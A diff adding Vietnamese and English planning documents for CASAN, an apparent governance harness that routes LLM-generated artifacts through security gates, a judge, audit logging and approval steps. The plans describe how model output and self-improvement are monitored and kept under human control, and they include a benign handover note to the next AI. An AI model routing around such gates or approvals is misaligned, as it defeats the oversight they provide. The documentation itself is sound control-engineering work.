— hash-linked local ledger + rollback/tamper detection done; true WORM store (S3 Object Lock/QLDB) + trusted timestamp planned | Plan-07 C5 (V21) | +| Live CVE/OSV scanning wired in | [partial] — availability detected; local denylist authoritative offline | Plan-07 C2 follow-up | + +## 4. Honest claim + +Track A + Track C-MVP + Evidence Pack + H5/H6 hardening + the deep-gap closers +(C7 incident/kill-switch, VI/JA multilingual, true container isolation, split & +classifier injection) raise H4/H5/H6 from "PoC/demo (~3.0/5)" to **early +internal-production hardening**, with executable adversarial tests for every +control (**218 core checks, 0 fail** — last full harness run 2026-07-06; KMS + container +isolation validated live/skip-aware via Vault dev + Docker). Fair maturity score +(`00_SUBMISSION_PACKAGE/evidence/scoring-run-report.md`): **H4 80→83** (multilingual ++ split/classifier closed), **H2 80→82** (real sandbox isolation), C7 incident +dimension closed; **H5 and H6 remain at 80** (their remaining gaps are infra), so the +**lowest harness stays 80** — CASAN **Level 4**, proven by attack. This is **not** full +production readiness: crossing the whole pipeline into "Strong (81+)" still needs the +H5/H6 infra items — enterprise IdP/JWKS, a true WORM store (S3 Object Lock/QLDB), +KMS-by-default + HSM, a deployed dashboard host with TLS/OIDC + managed alert channel/on-call, and +real billing-API telemetry — the [partial]/[planned] rows above and in +`CASAN_PLAN_07_PRODUCTION_HARDENING.md`. diff --git a/docs/plans/CASAN_PLAN_00_INDEX.md b/docs/plans/CASAN_PLAN_00_INDEX.md new file mode 100644 index 0000000..f3db836 --- /dev/null +++ b/docs/plans/CASAN_PLAN_00_INDEX.md @@ -0,0 +1,119 @@ +# CASAN — Mục lục Plan + +> Cập nhật: 2026-07-06. File này là **mục lục thuần** cho bộ plan CASAN. Trạng thái +> chi tiết **không** lặp ở đây để tránh lệch: "còn gì phải làm" xem +> `CASAN_BACKLOG_STATUS.md` (có legend nhãn chuẩn); "control nào đã implement+test" +> xem `CASAN_HARDENING_STATUS.md`. Ba file phân vai rõ, một sự thật ghi một nơi. + +## Hiện trạng một dòng + +- **Scoring:** CASAN Level 4; điểm công tâm quanh **~81/100**; harness thấp nhất 80 + (H5/H6) — trần do **managed infra thật** chưa có (xem Plan-07 TIER 2). +- **Core harness:** **218 core checks PASS / 0 FAIL**; **Plan-16 security remediation 24 SEC suite = 118 PASS / 0 FAIL**; local-prod Docker lab 2/0 + (`infra-lab verify` 7/0). Đây là bất biến — mọi thay đổi phải giữ được. + +## Danh mục plan + +> Cột trạng thái chỉ là nhãn tóm tắt (legend: `CASAN_BACKLOG_STATUS.md`). Chi tiết +> "bước tiếp theo" nằm ở Backlog. + +| # | File | Mảng | Nhãn | +|---|---|---|:--:| +| 01 | `CASAN_PLAN_01_RESTRUCTURE.md` | Tái cấu trúc thư mục Phase 0→6 + tách package harness | 📋 | +| 02 | `CASAN_PLAN_02_LLM_SOURCEGEN.md` | Nối LLM thật vào sinh source thay template | 🟡 (đợt A) | +| 03 | `CASAN_PLAN_03_CLOUD_PATCH.md` | Patch cloud OpenAI/Anthropic, bỏ stub | 🟡 / 🔌 live | +| 04 | `CASAN_PLAN_04_SELFIMPROVE.md` | Khép vòng `casan improve` | 📋 | +| 05 | `CASAN_PLAN_05_CICD.md` | CI/CD + release package | 🟡 | +| 06 | `CASAN_PLAN_06_ONBOARD.md` | Onboard dự án thật thứ 2 (chứng minh reuse) | 📋 | +| 07 | `CASAN_PLAN_07_PRODUCTION_HARDENING.md` | H4/H5/H6 + Track C + TIER 2 managed infra | 🟡 core / 🔌 T2 | +| 08 | `CASAN_PLAN_08_CONTEXT_COMPRESSION.md` | H1.5 context/token compression | 📋 | +| 09 | `CASAN_PLAN_09_EVIDENCE_PACK.md` | Evidence Pack & certification | 🟡 | +| 10 | `CASAN_PLAN_10_TRACEABILITY_EVAL.md` | REQ→code→test + H3 eval | 🟡 | +| 12 | `CASAN_PLAN_12_DOMAIN_PACK.md` | Domain Pack SDK | 📋 | +| 13 | `CASAN_PLAN_13_CONTROL_PLANE.md` | Control Plane: dashboard giám sát + quản lý + settings | 📋 | +| 14 | `CASAN_PLAN_14_RBAC.md` | RBAC & quản trị đa dự án (multi-tenant) | 📋 | +| 15 | `CASAN_PLAN_15_RESPONSIBLE_AI_DATA_GOV.md` | Responsible AI & Data Governance (FPT §14.3–14.4) | 📋 | +| 16 | `CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md` | Security audit core harness + kế hoạch vá (tamper-evidence/injection/fail-open) | � P0/P1/P2 done | +| 17 | `CASAN_PLAN_17_LOOP_ENGINEERING.md` | Loop Engineering / Agentic Loop Governance (budget governor, convergence, verify-contract, loop trace/replay, meta-loop) | 📋 | +| 18 | `CASAN_PLAN_18_CHAT_CONSOLE.md` | Governed Chat Console (target arch; cắt MVP: **MVP-0 Ask CASAN read-only** làm ngay → operator → chat-as-loop → multi-tenant) | 📋 MVP-0 ready | +| Future | `CASAN_PLAN_FUTURE_PHASES.md` | Approval workflow, state machine, benchmark, memory, remediation, KPI | 💤 vision | + +> **Không có plan số 11:** số 11 được bỏ trống có chủ ý — nhánh eval/traceability đã +> gộp vào Plan-10, không tách plan 11 riêng. Dãy nhảy 10 → 12 là bình thường. + +## Ưu tiên thực thi (core harness là mấu chốt) + +> Nguyên tắc định hướng: **giá trị lõi của CASAN là core harness (gate H1→H7), không +> phải source-gen.** Vì vậy ưu tiên đặt việc củng cố/mở rộng core harness lên trước; +> source-gen (Plan-02) là thứ yếu, làm sau khi core vững. + +| Ưu tiên | Việc | Vì sao | +|:--:|---|---| +| **P1** | Giữ **218/0** + đưa **traceability line/symbol-level vào CI** (Plan-10 + Plan-05) | Bảo vệ & siết chính core harness — mấu chốt | +| **P2** | **TIER 2 managed infra** (Plan-07): IdP/JWKS, WORM-S3, KMS/HSM, dashboard TLS/OIDC, alert managed, billing thật | Đòn bẩy duy nhất lên "Strong 81+" | +| **P3** | **Plan-01 restructure** (nhánh riêng, giữ 218/0) | Nền để tách package harness → mở khoá 06/12 | +| **P4** | **Plan-06 onboard dự án 2** | Chứng minh reuse core harness (thuyết phục nhất) | +| **P5** | **Plan-05 CI/CD** runner green + release package | Tự động hoá bảo vệ core harness | +| P6 | Plan-02 source-gen đợt B–D | **Thứ yếu** — chỉ mở rộng sau khi core vững; mọi output vẫn qua H1→H7 | +| P7 | Plan-03 live cloud smoke | Cần key thật (điều kiện gỡ blocker: xem Plan-03) | +| P8 | Plan-04 / 08 / 12 | Làm sau các plan nền | + +> **Track enterprise (bar tổ chức “rất cao”):** Plan-13 Control Plane (dashboard +> giám sát + quản lý + settings) là trục chính, phụ thuộc Plan-14 (RBAC) + +> Plan-04 (approval) + Plan-07 C4 (IdP). Plan-15 (Responsible AI & Data Governance) +> bắt buộc cho FPT §14.3–14.4. Nhóm này song song track core harness, không thay +> thế nó. + +## Thứ tự phụ thuộc + +```mermaid +flowchart LR + CORE["Core harness 218/0
(bất biến)"] --> P10X["10 Traceability++
line/symbol + CI"] + CORE --> P07T2["07 TIER 2 managed infra
IdP/KMS/WORM/alerts/billing"] + P10X --> P05["05 CI/CD
release gates"] + P07T2 --> STRONG["Strong 81+"] + P01["01 Restructure
(nhánh riêng)"] --> P06["06 Onboard dự án 2"] + P01 --> P12["12 Domain Pack SDK"] + P06 --> P12 + P05 --> P06 + P03["03 Cloud patch
(keys/API)"] --> P02["02 Source-gen
đợt A→D (thứ yếu)"] + P02 --> P04["04 Self-improve"] + P08["08 Compression
sau core"] --> P02 + P07T2 --> P13["13 Control Plane
monitor + manage + settings"] + P14["14 RBAC"] --> P13 + P04 --> P13 + P13 --> P15["15 Responsible AI
& Data Governance"] + P13 --> P17["17 Loop Engineering
Agentic Loop Governance"] + P10X --> P17 + P04 --> P17 + P17 --> P18["18 Chat Console
chat = governed loop-run"] + P13 --> P18 + P14 --> P18 + style CORE fill:#d0e8ff,stroke:#2c3e91,stroke-width:2px + style STRONG fill:#d0ffd0,stroke:#1e8449,stroke-width:2px +``` + +## Lệnh kiểm chứng nhanh + +```bash +cd AINative_OKR_CASAN5 +for s in run-casan4-harness adversarial-harness phase1-track-a phase2-track-c \ + phase3-evidence-pack phase-h5-approval phase-h5-infra phase-h6-agentops \ + phase-c7-incident phase-h4-multilingual phase-c6-sandbox phase-h4-split-inject \ + phase10-traceability; do + bash .specify/tests/$s-tests.sh >/dev/null 2>&1 && echo "$s OK" || echo "$s FAIL" +done + +bash .specify/tests/phase-prod-infra-lab-tests.sh +bash .specify/scripts/bash/infra-lab.sh verify +``` + +## Ghi chú cho AI tiếp theo + +- `CASAN_BACKLOG_STATUS.md` = nguồn chuẩn "còn gì phải làm" (có legend nhãn + ánh xạ). +- `CASAN_HARDENING_STATUS.md` = nguồn chuẩn "control nào đã implement+test". +- `CASAN_TEAM_ALLOCATION_3DEV.md` = phân công việc còn lại cho team 3 người (task nhỏ + dependency + waves). +- `CASAN_PLAN_03_CLOUD_PATCH.md` = nguồn cho cloud provider patch + điều kiện gỡ blocker key. +- Không stage các file audit log runtime nếu chỉ thay đổi do chạy verify. +- Lỗi backend `npm test` (Prisma MySQL vs `setup-sqlite.mjs`) đã có chủ ở Backlog TIER 1 + (T1.4) — là test-infra của app OKR, không phải core harness/source-gen. diff --git a/docs/plans/CASAN_PLAN_01_RESTRUCTURE.md b/docs/plans/CASAN_PLAN_01_RESTRUCTURE.md new file mode 100644 index 0000000..15779f6 --- /dev/null +++ b/docs/plans/CASAN_PLAN_01_RESTRUCTURE.md @@ -0,0 +1,79 @@ +# KẾ HOẠCH 01 — Tái cấu trúc thư mục (Phase 0→6) & tách package harness + +> Status 2026-07-08: **✅ HOÀN TẤT (merged to `main`).** Harness code → `packages/casan-harness/`, +> domain OKR → `apps/okr/domain/`, runtime state ở `.specify/`; app đã promote lên git root +> (hết wrapper `AINative_OKR_CASAN5/`); facade `.specify` symlink đã gỡ sạch (hard cutoff). +> Path resolve qua `casan-paths.sh` (marker walk-up, không dùng git-root). Full gate +> `PASS=64 FAIL=0 SKIP=3`. Nền cho Plan-06/12 sẵn sàng (`project-registry.json` có `domain_root`). +> +> Status 2026-07-06 (gốc): **📋 chưa bắt đầu (task-level).** Đây là nền cho Plan-06 +> (onboard dự án 2) và Plan-12 (Domain Pack SDK): chỉ khi core harness được tách +> thành package độc lập, không lẫn domain OKR, thì mới chứng minh được "reuse +> thật". Rủi ro cao (đụng nhiều path) → **làm trên nhánh riêng, giữ 218/0 core +> harness xuyên suốt**. +> +> Nhãn trạng thái dùng chung: xem legend ở `CASAN_BACKLOG_STATUS.md`. +> Phụ thuộc: không phụ thuộc plan khác để bắt đầu; **chặn** 06 và 12. + +## Bối cảnh code hiện tại +- Core harness (gate H1→H7) nằm ở `.specify/scripts/bash/`, `.specify/security/`, + `.specify/governance/`, `.specify/agentops/`, `.specify/level5/`; tests ở + `.specify/tests/`. +- Domain OKR (golden-runs, redteam-corpus, input, requirement/architecture) hiện + **lẫn** trong cùng cây thư mục dự án, chưa tách rõ `packages/` (harness) vs + `apps//domain/` (dữ liệu domain). +- `project-registry.json` đã có khái niệm project, nhưng ranh giới "package vs + app" chưa được phản ánh ở tầng thư mục. + +## Nguyên tắc +- **Không đổi hành vi gate:** tái cấu trúc là dời path + cập nhật tham chiếu, + **không** sửa logic H1→H7. Sau mỗi bước: full harness vẫn **218/0**. +- **Tách package vs domain:** `packages/casan-harness/` (gate, script, test khung) + tuyệt đối không chứa dữ liệu domain; `apps//domain/` chứa + golden/corpus/input theo dự án. +- **Một biến gốc đường dẫn:** mọi script trỏ tới harness qua một biến/entrypoint + duy nhất (ví dụ `CASAN_HARNESS_ROOT`) thay vì hardcode `.specify/...` rải rác. +- **Làm trên nhánh riêng + freeze bản demo:** không để restructure làm vỡ bản + đang trình bày. +- **Đổi từng Phase, chạy test giữa mỗi Phase**, không dời tất cả một lần. + +## Cấu trúc đích (Phase 0→6) + +```mermaid +flowchart TD + ROOT["repo root"] + ROOT --> PKG["packages/casan-harness/
(gate H1→H7 + tests khung)"] + ROOT --> APPS["apps/"] + APPS --> OKR["apps/okr/
domain OKR (golden/corpus/input)"] + APPS --> X["apps/<project-2>/
domain khác (Plan-06)"] + ROOT --> REG["project-registry.json"] + PKG --> REG + OKR --> REG + X --> REG + style PKG fill:#d0e8ff,stroke:#2c3e91,stroke-width:2px + style REG fill:#fff3cd,stroke:#8a6d3b,stroke-width:2px +``` + +## Tasks + +| Task | Việc | File/Đối tượng | Verify | Done khi | +|---|---|---|---|---| +| 1.1 | Kiểm kê mọi tham chiếu hardcode `.specify/...` trong script/test | toàn repo | có danh sách đầy đủ path phụ thuộc | inventory xong | +| 1.2 | Định nghĩa biến gốc `CASAN_HARNESS_ROOT` + entrypoint duy nhất | `bin/casan`, `model-router.sh` | script trỏ qua biến, không hardcode | biến áp dụng | +| 1.3 | Phase 0: tạo `packages/casan-harness/` (skeleton), chưa dời | mới | thư mục tồn tại, chưa đổi hành vi | skeleton sẵn | +| 1.4 | Phase 1–2: dời gate H1→H4 (security/context/tool/validation) sang package | `.specify/**` → `packages/**` | full harness 218/0 sau khi dời | H1–H4 đã dời | +| 1.5 | Phase 3–4: dời H5/H6/H7 (governance/agentops/orchestration) | `.specify/**` → `packages/**` | full harness 218/0 | H5–H7 đã dời | +| 1.6 | Phase 5: tách domain OKR sang `apps/okr/domain/` | golden/corpus/input | pipeline OKR chạy trọn, drift/H3 hoạt động | domain tách bạch | +| 1.7 | Phase 6: cập nhật `project-registry.json` + `verify-harness-reuse.sh` theo cấu trúc mới | registry, script | registry hợp lệ, reuse-check chạy | registry đồng bộ | +| 1.8 | Cập nhật CI/CD (Plan-05) & Docker infra lab theo path mới | `.gitea/**`, `infra/**` | CI gate xanh với path mới | CI thích ứng | +| 1.9 | Ghi "nợ kỹ thuật phải sửa gate" (nếu buộc phải) làm đầu vào cho Plan-06/12 | mới notes | có danh sách gap | rút kinh nghiệm | + +## Tiêu chí HOÀN THÀNH +- [ ] `packages/casan-harness/` không chứa dữ liệu domain; `apps/okr/domain/` chứa toàn bộ golden/corpus/input OKR. +- [ ] Mọi script trỏ harness qua `CASAN_HARNESS_ROOT`/entrypoint, không còn hardcode `.specify/...` rải rác. +- [ ] Full harness **218/0** giữ nguyên sau mỗi Phase; local-prod infra lab vẫn 2/0. +- [ ] CI/CD (Plan-05) xanh trên cấu trúc mới. +- [ ] `verify-harness-reuse.sh` chạy đúng trên cấu trúc mới → sẵn sàng cho Plan-06. + +--- +_Liên quan: `CASAN_PLAN_00_INDEX.md` (mục lục) · Plan-05 (CI phải thích ứng path) · Plan-06/12 (phụ thuộc plan này)._ diff --git a/docs/plans/CASAN_PLAN_02_LLM_SOURCEGEN.md b/docs/plans/CASAN_PLAN_02_LLM_SOURCEGEN.md new file mode 100644 index 0000000..aa156e9 --- /dev/null +++ b/docs/plans/CASAN_PLAN_02_LLM_SOURCEGEN.md @@ -0,0 +1,97 @@ +# KẾ HOẠCH 02 — Nối LLM thật vào sinh source (thay template deterministic) + +> Status 2026-07-06: **Đợt A MVP implemented + tested** cho `01-srs` và +> `02-bd`. Mặc định vẫn dùng template deterministic; khi bật +> `CASAN_GEN_MODE=model`, hai step này gọi `model-router.sh --role generate`, +> H4 artifact-scan output nháp, validate tiêu chí tối thiểu, rồi mới ghi +> artifact. Lỗi model / output thiếu / H4 block đều fallback template và ghi +> `source=template-fallback` trong report. +> +> Hiện `casan-step.mjs` vẫn sinh các step sau bằng **template hard-code** trong +> `switch(step)` [có, đọc code]; model đã dùng ở H3 judge + H4 semantic và nay +> ở source-gen đợt A. Kế hoạch: mở rộng dần để LLM **thật sự sinh artifact**, +> nhưng **mọi output vẫn chui qua H1→H7**. +> +> Phụ thuộc: nên làm sau **03 (cloud patch)** để có lựa chọn model mạnh cho bước khó; **01** giúp gọn nhưng không bắt buộc. + +## Bối cảnh code hiện tại [có] +- `casan-step.mjs`: mỗi `case ''` gọi `write(path, "")` rồi `report(...)`. +- `judgeArtifact()` gọi `model-router.sh --role judge`; `ollamaAvailable()` kiểm 127.0.0.1:11434; vắng model → `SKIP` (không chặn). +- `model-router.sh` → `model-call.py` là điểm gọi model chuẩn (đã có H4 trước, H6/H5 sau). + +## Nguyên tắc +- **Sinh xong vẫn qua harness:** không được để LLM ghi thẳng bỏ qua H4/H5/H7. +- **Có golden để so:** mỗi step cần tiêu chí chấp nhận + golden (drift/H3) để bắt output kém. +- **Chuyển dần từng step**, không thay cả 13 bước một lúc. +- **Fallback về template:** model vắng/kém → dùng template cũ (không vỡ pipeline). +- **Deterministic-friendly:** cố định seed/nhiệt độ thấp cho bước cần ổn định; ghi lại prompt vào audit (H5). + +--- + +## Chiến lược chuyển đổi (từng step, có cổng) + +Thứ tự chuyển ưu tiên step **rõ ràng, ít rủi ro** trước: + +| Đợt | Step chuyển | Vì sao trước/sau | +|---|---|---| +| A | `01-srs`, `02-bd` | văn bản có cấu trúc, dễ chấm, rủi ro thấp | +| B | `03-spec`, `06-plan` | có review loop (STEP5/7) đỡ lỗi | +| C | `08-dd`, `09-tasks` | phụ thuộc spec/plan tốt | +| D | `10-implement` (code) | rủi ro cao nhất → làm cuối, cần test thật (STEP12) làm lưới | + +--- + +## Tasks + +| Task | Việc | File | Verify | Done khi | +|---|---|---|---|---| +| 2.1 | Trừu tượng hoá: thêm hàm `generate(step, ctx)` chọn **model** hoặc **template** theo cờ `CASAN_GEN_MODE` | `casan-step.mjs` | mode=template → hành vi cũ y hệt | ✅ đợt A | +| 2.2 | Viết prompt-template cho mỗi step (đưa requirement + architecture + tiêu chí chấp nhận vào prompt) | mới `prompts/.md` | prompt render đủ ngữ cảnh | có prompt từng step | +| 2.3 | Gọi model qua `model-router.sh --role generate` (KHÔNG gọi model-call trực tiếp) | `casan-step.mjs` | output đi qua H4 trước khi ghi | ✅ đợt A (`01-srs`, `02-bd`) | +| 2.4 | Chuẩn hoá output model → đúng file artifact + `STEP-RESULT` block | parser | verdict/artifacts hợp lệ | schema đúng | +| 2.5 | Nạp **golden + tiêu chí** cho H3 judge từng step | `apps/okr/domain/golden-runs/` | judge chấm được đạt/không | H3 hoạt động | +| 2.6 | Fallback: model SKIP/kém → dùng template (đợt A/B), hoặc REJECT → vòng review | `casan-step.mjs` | ép model lỗi → không vỡ | ✅ đợt A | +| 2.7 | Chuyển đợt A (srs, bd) sang mode=model | pipeline | chạy full, 2 artifact do model sinh, qua harness | 🟡 MVP done; full live pipeline smoke còn | +| 2.8 | Chuyển đợt B (spec, plan) + kiểm vòng REJECT hoạt động | pipeline | ép spec kém → STEP5 REJECT → retry | loop chạy | +| 2.9 | Chuyển đợt C (dd, tasks) | pipeline | artifact hợp lệ, drift trong ngưỡng | đợt C xong | +| 2.10 | Chuyển đợt D (implement code) — **bắt buộc** STEP12 chạy test thật làm cổng | pipeline | test dự án PASS mới nhận code | đợt D xong | +| 2.11 | Ghi prompt + model + token vào audit (H5) & telemetry (H6) | logging | audit có prompt, provider-usage có token | truy vết được | + +--- + +## Cơ chế chất lượng (không chỉ "sinh cho có") + +```mermaid +flowchart LR + G["generate(step)"] --> H4["H4 quét output"] + H4 --> J["H3 judge vs tiêu chí"] + J -- "REJECT" --> RETRY["vòng review (STEP5/7/11)
hoặc leo thang model"] + J -- "PASS" --> DR["drift vs golden"] + DR -- "lệch nhiều" --> RETRY + DR -- "ổn" --> WRITE["ghi + audit (H5) + rollback-ready (H7)"] + RETRY --> G + + style RETRY fill:#fff0c0,stroke:#b9770e + style WRITE fill:#d0ffd0,stroke:#1e8449 +``` + +- **Leo thang model (escalation-on-demand):** step bị H3 REJECT ≥ N lần → tự đề xuất dùng model mạnh hơn (nối 03). Đây là chỗ cloud/frontier đáng dùng. +- **Code (đợt D):** cổng cứng là **STEP12 run-tests thật** — code sinh ra không PASS test thì không được nhận. + +## Rủi ro +| Rủi ro | Giảm thiểu | +|---|---| +| Model sinh sai/ảo | H3 judge + drift + test thật; fallback template | +| Không ổn định giữa các lần | nhiệt độ thấp/seed; golden so sánh | +| Chi phí tăng | H6 cost-spike + circuit-breaker; local trước, cloud khi cần | +| Bỏ qua harness | bắt buộc gọi qua `model-router` + wrapper, cấm ghi thẳng | +| Regression pipeline | `CASAN_GEN_MODE=template` luôn giữ đường cũ | + +## Tiêu chí HOÀN THÀNH +- [x] `CASAN_GEN_MODE=template` cho hành vi cũ y hệt (an toàn quay lui) ở đợt A. +- [ ] `CASAN_GEN_MODE=model`: đợt A–D artifact do LLM sinh, **đều qua H1→H7**. Đợt A đã có MVP cho `01-srs`/`02-bd`. +- [ ] Code (đợt D) chỉ nhận khi STEP12 test PASS. +- [ ] Prompt/model/token vào audit (H5) + telemetry (H6). +- [ ] Có escalation khi H3 REJECT lặp; local vẫn là mặc định. + +> Sau kế hoạch này, câu "pipeline sinh source bằng AI" mới **đúng nghĩa**. Trước đó phải nói rõ đang dùng **template**. diff --git a/docs/plans/CASAN_PLAN_03_CLOUD_PATCH.md b/docs/plans/CASAN_PLAN_03_CLOUD_PATCH.md new file mode 100644 index 0000000..acc4e96 --- /dev/null +++ b/docs/plans/CASAN_PLAN_03_CLOUD_PATCH.md @@ -0,0 +1,72 @@ +# CASAN PLAN 03 — Cloud Provider Patch (OpenAI/Anthropic) + +> Status 2026-07-06: **MVP implemented + deterministic tests added**. The router +> can call OpenAI/Anthropic when real API keys are present, while local tests +> verify endpoint pinning, provider usage parsing, and fail-closed malformed +> payload handling without requiring paid keys. + +## Delivered + +| Capability | Where | Verification | +|---|---|---| +| Model spec prefixes `openai:` and `anthropic:` | `.specify/scripts/bash/model-call.py` | `phase3-model-router-tests.sh` | +| Endpoint allowlist/SSRF posture | Cloud hosts are hard-pinned to `api.openai.com` and `api.anthropic.com`; Ollama remains `127.0.0.1:11434` only | router SSRF test | +| Honest unavailable state | Missing `OPENAI_API_KEY` / `ANTHROPIC_API_KEY` exits non-zero; no fake PASS or fake token usage | router cloud-unavailable test | +| Real provider token usage path | OpenAI `usage.prompt_tokens/completion_tokens`; Anthropic `usage.input_tokens/output_tokens` | deterministic monkeypatched cloud parser test | +| Malformed provider payload fail-closed | Missing usage/schema exits non-zero via `provider_usage_invalid` | deterministic parser test | +| Provider telemetry source tags | Usage rows write `openai_api_real_tokens` or `anthropic_api_real_tokens` | `model-call.py` provider log path | + +## How to run live when keys exist + +```bash +cd AINative_OKR_CASAN5 +export CASAN_MODEL_PRIMARY=openai:gpt-4o-mini +export OPENAI_API_KEY=... +bash .specify/scripts/bash/model-router.sh /tmp/prompt.txt /tmp/out.json --role classify + +export CASAN_MODEL_PRIMARY=anthropic:claude-sonnet-4-5 +export ANTHROPIC_API_KEY=... +bash .specify/scripts/bash/model-router.sh /tmp/prompt.txt /tmp/out.json --role judge +``` + +Expected evidence: + +- command exits `0` for well-formed provider output; +- `/tmp/out.json` has non-zero `input_tokens` and `output_tokens`; +- `.specify/logs/level5/provider-usage.jsonl` gets a row with provider + `openai` or `anthropic` and cost source `*_api_real_tokens`; +- malformed or unreachable provider exits non-zero and does not fabricate a + successful verdict. + +## Remaining production work + +| Priority | Work | Done when | +|---|---|---| +| P1 | Run live smoke with real org keys on the target Mac/CI | Evidence file records real provider response, token counts, and no secret leakage | +| P2 | Add provider cost lookup table for selected models | `cost_usd` is computed from current provider pricing instead of `0.0` | +| P3 | Wire real provider billing usage API, not only per-call response usage | H6 reconcile uses OpenAI/Anthropic ground truth APIs with schema-versioned fetchers | +| P4 | Add model allowlist policy for approved cloud models | Unknown cloud model names require approval or block | +| P5 | Decide default failover order for local -> cloud or cloud -> local | `model-fallback.sh` policy is explicit per role | + +## Điều kiện gỡ blocker API key (để P02 đợt B–D không treo vô thời hạn) + +Live smoke (P1 ở trên) và Plan-02 đợt B–D **đều chờ cùng một điều kiện**: có API +key provider thật. Ghi rõ để bất kỳ AI/người kế tiếp gỡ được: + +| Hạng mục | Quyết định cần chốt | +|---|---| +| **Ai cấp key** | Org owner cấp `OPENAI_API_KEY` và/hoặc `ANTHROPIC_API_KEY` (ít nhất 1 provider đủ để mở đường). | +| **Nạp ở đâu** | Chỉ qua biến môi trường / secret store của runner CI — **không** commit vào repo, không ghi vào audit dạng plaintext (H5 mask). | +| **Model tối thiểu** | `openai:gpt-4o-mini` hoặc `anthropic:claude-*-mini` là đủ cho smoke (rẻ, đủ chứng minh đường sống). | +| **Evidence phải lưu** | 1 file smoke ghi: exit `0`, token thật > 0 trong `/tmp/out.json`, 1 dòng `provider-usage.jsonl` với source `*_api_real_tokens`, và xác nhận không rò secret. | +| **Khi CHƯA có key** | Giữ nguyên trạng thái: deterministic offline test là bằng chứng hợp lệ; **không** claim live provider. Không tạo fake PASS/fake token. | + +> **Chốt:** P02 đợt B–D có thể phát triển & test offline bằng deterministic mock; +> chỉ **bước xác nhận live** mới cần key. Vì vậy thiếu key **không chặn** việc +> mở rộng source-gen — chỉ chặn claim "đã chạy live provider thật". + +## Notes for Plan-02 + +Plan-02 source generation should call `model-router.sh --role generate`, not +provider SDKs directly. This keeps H4 prompt handling, H6 telemetry, endpoint +allowlisting, and provider usage logging in one path. diff --git a/docs/plans/CASAN_PLAN_04_SELFIMPROVE.md b/docs/plans/CASAN_PLAN_04_SELFIMPROVE.md new file mode 100644 index 0000000..6c645ed --- /dev/null +++ b/docs/plans/CASAN_PLAN_04_SELFIMPROVE.md @@ -0,0 +1,87 @@ +# KẾ HOẠCH 04 — Khép vòng tự cải tiến (`casan improve`) + +> Status 2026-07-06: **🟡 core implemented + tested (harness-owned).** +> `.specify/scripts/bash/self-improve.py`: `propose` đọc telemetry (metrics.jsonl + +> drift.json) → sinh proposal **dry-run (không ghi)**; `apply` **bắt buộc approval** +> (đề xuất ≠ áp dụng), áp qua **governed store** (`control-plane-settings.py` → audit), +> proposal security-sensitive/loosen luôn cần duyệt. Test `phase-selfimprove-tests.sh` +> **7/0 (WSL)**, nối CI. Còn: bộ luật đề xuất phong phú hơn (corpus/model escalation), +> báo cáo xu hướng qua nhiều run, chạy định kỳ trong CI (Plan-05). +> +> Phụ thuộc: **01** (CLI/config), **05** (CI để chạy định kỳ). Không tự retrain model. + +## Cơ sở đã có [có] +- `cost-spike-detect.sh`: ngưỡng = `median × mult` (tự canh theo dự án). +- `circuit-breaker-check.sh`: đếm fail liên tiếp → `CIRCUIT_OPEN`. +- `drift-detect.sh`: so golden, ra report JSON. +- `business-kpi-report.sh`: `baseline→current→target`, `improvement_ratio`, `target_met`. +- Telemetry: `provider-usage.jsonl`, audit chain, drift report. + +## Nguyên tắc (an toàn governance) +- **Đề xuất ≠ áp dụng:** `--dry-run` chỉ sinh diff; `--apply` cần người duyệt. +- **Không tự nới lỏng bảo mật:** đề xuất *siết* threshold được ưu tiên; đề xuất *nới* phải có lý do + duyệt cấp cao. +- **Có bằng chứng:** mọi thay đổi ghi audit-chain (H5) → cải tiến cũng rollback được (H7). +- **Nguồn dữ liệu là telemetry thật**, không phải phỏng đoán. + +--- + +## Phân loại đề xuất cải tiến + +| Loại | Nguồn tín hiệu | Ví dụ đề xuất | Chiều an toàn | +|---|---|---|---| +| Tinh chỉnh threshold | cost-spike/circuit history | median trôi → cập nhật baseline; fail nhiều → giảm threshold | siết = tự động; nới = cần duyệt | +| Bổ sung corpus | ca H4 để lọt / judge trượt | thêm mẫu tấn công mới vào redteam-corpus | luôn an toàn (tăng phủ) | +| Cập nhật golden | spec đổi hợp lệ → drift báo động giả | cập nhật golden theo spec mới | cần duyệt (tránh che drift thật) | +| Leo thang model | step bị H3 REJECT lặp | đề xuất model mạnh hơn cho step đó | cần duyệt (chi phí) | +| Điều chỉnh KPI target | improvement_ratio ổn định vượt target | nâng target | cần duyệt | + +--- + +## Tasks + +| Task | Việc | File | Verify | Done khi | +|---|---|---|---|---| +| 4.1 | Định nghĩa schema "improvement proposal" (loại, lý do, diff, mức rủi ro) | mới `config/improve-schema.yaml` | proposal mẫu hợp lệ | schema chốt | +| 4.2 | `casan improve --dry-run`: đọc telemetry → sinh **danh sách proposal** (không ghi) | `bin/casan`, mới `improve.sh` | chạy ra proposal + diff, KHÔNG đổi file | dry-run an toàn | +| 4.3 | Bộ luật đề xuất threshold từ median/fail history | `improve.sh` | dữ liệu mẫu → đề xuất đúng hướng | luật chạy | +| 4.4 | Bộ luật gom **ca trượt** (H4 lọt/judge REJECT) → đề xuất mẫu corpus | `improve.sh` | ca trượt mẫu → sinh mẫu corpus | có đề xuất corpus | +| 4.5 | `casan improve --apply --proposal `: cần cờ duyệt của người | `bin/casan` | thiếu duyệt → từ chối áp | glate duyệt hoạt động | +| 4.6 | Áp xong ghi audit-chain (H5) + tạo checkpoint (H7) | logging | audit có bản ghi cải tiến; rollback được | truy vết + hoàn tác | +| 4.7 | Báo cáo xu hướng qua nhiều lần chạy (dashboard) | `generate-agentops-dashboard.py` | biểu đồ improvement_ratio theo thời gian | có xu hướng | +| 4.8 | Chặn tự nới lỏng: proposal "nới bảo mật" bắt buộc nhãn `security-sensitive` + duyệt cấp cao | `improve.sh` | proposal nới → yêu cầu duyệt cao | rào chắn hoạt động | + +--- + +## Luồng khép vòng + +```mermaid +flowchart LR + T["Telemetry thật
usage · audit · drift · KPI"] --> DRY["casan improve --dry-run
sinh proposal + diff"] + DRY --> REV{"Người/governance
duyệt"} + REV -- "REJECT" --> T + REV -- "APPROVE" --> APP["casan improve --apply
